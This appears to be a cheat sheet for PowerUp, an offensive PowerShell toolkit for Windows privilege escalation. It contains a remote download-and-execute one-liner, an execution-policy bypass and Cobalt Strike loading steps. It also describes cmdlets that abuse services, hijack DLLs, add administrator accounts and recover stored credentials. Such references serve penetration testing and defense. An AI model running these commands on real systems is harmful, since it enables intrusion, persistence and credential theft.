



## Getting Started

Get PowerUp: <http://bit.ly/1SjgT2h>

Load from disk: 1) C:\> **powershell -exec bypass** 2) PS C:\> **Import-Module PowerUp.ps1**

Load from GitHub: PS C:\> **IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1SjgT2h")**

Load in Cobalt Strike's Beacon: **beacon> powershell-import /local/path/to/PowerUp.ps1**, then **beacon> powershell Invoke-AllChecks**

Getting help: PS C:\> **Get-Help Cmdlet-Name [-detailed] [-full]**

Most PowerUp functions are implemented in Empire in **privesc/powerup/\***

**Invoke-AllChecks** will run all current privilege escalation checks detailed in this guide. The **-HTMLReport** flag will output a HTML version of the report to disk.

## Enumerating Service Vulnerabilities

Misconfigured services are a common source of privilege escalation vectors.

<b>Get-ServiceUnquoted</b>	Enumerates all services w/ an unquoted binary path.
<b>Get-ServiceFilePermission</b>	Enumerates all services where the current user can write to the associated binary or its arguments.
<b>Get-ServicePermission</b>	Enumerates all services where a user can modify the binary path for the given service.

## Weaponizing Service Vulnerabilities

**Invoke-ServiceAbuse** abuses a vulnerable service's binPath to execute commands as SYSTEM.

**Install-ServiceBinary** writes out a C# service binary that executes commands as SYSTEM when the machine reboots.

Both cmdlets accept the following parameters:

Service name to abuse.	<b>-ServiceName</b> SERVICE
The username to add (defaults to 'john'). Domain users are not created, only added to the LocalGroup.	<b>-UserName</b> [DOMAIN\]USER
The password for the added user (defaults to 'Password123!').	<b>-Password</b> "P@55Word"
The group to add the user to (default: 'Administrators').	<b>-LocalGroup</b> NAME
Custom command to execute.	<b>-Command</b> "net..."

**Install-ServiceBinary** backs up the original service path to \orig\_path.exe.bak. **Restore-ServiceBinary** will restore this backup binary to its original path.

## DLL Hijacking

**Find-DLLHijack** will find hijackable locations for all current services (useful for persistence).

**Find-PathHijack** checks if the current %PATH% has any directories that are writeable by the current user. Weaponizable for Windows 7 with **Write-HijackDll** and FOLDER\PATH\wlbsctrl.dll.

**Write-HijackDll** writes out a self-deleting .bat file to \hijackpath\debug.bat that executes a command, and writes out a hijackable .dll that launches the .bat.

Path to write the hijack dll	<b>-OutputFile</b> PATH\wlbsctrl.dll
Command for the hijacked .dll to run.	<b>-Command</b> "net user ..."
Path of the .bat for the hijackable .dll to run.	<b>-BatPath</b> PATH\y.bat

## Miscellaneous Checks

<b>Get-RegAlwaysInstallElevated</b>	Checks if the "AlwaysInstallElevated" key is set. This means that MSI installation packages always run as SYSTEM. <b>Write-UserAddMSI</b> can write out a weaponization package to add a local administrator.
<b>Get-RegAutoLogon</b>	Returns HKLM autoruns where the current user can modify the binary/script (or its config).
<b>Get-VulnAutoRun</b>	Returns HKLM autoruns where the current user can modify the binary/script (or its config).
<b>Get-VulnSchTask</b>	Returns scheduled tasks where the current user can modify the script associated with the task action.
<b>Get-UnattendedInstallFile</b>	Checks for remaining unattend.xml deployment files.
<b>Get-Webconfig</b>	Recovers cleartext and encrypted connection strings from all web.config's. Credit to <a href="#">Scott Sutherland</a> .
<b>Get-ApplicationHost</b>	Recovers encrypted application pool and virtual directory passwords from the applicationHost.config. Credit to <a href="#">Scott Sutherland</a> .

## More Information

<http://www.harmj0y.net/blog/>

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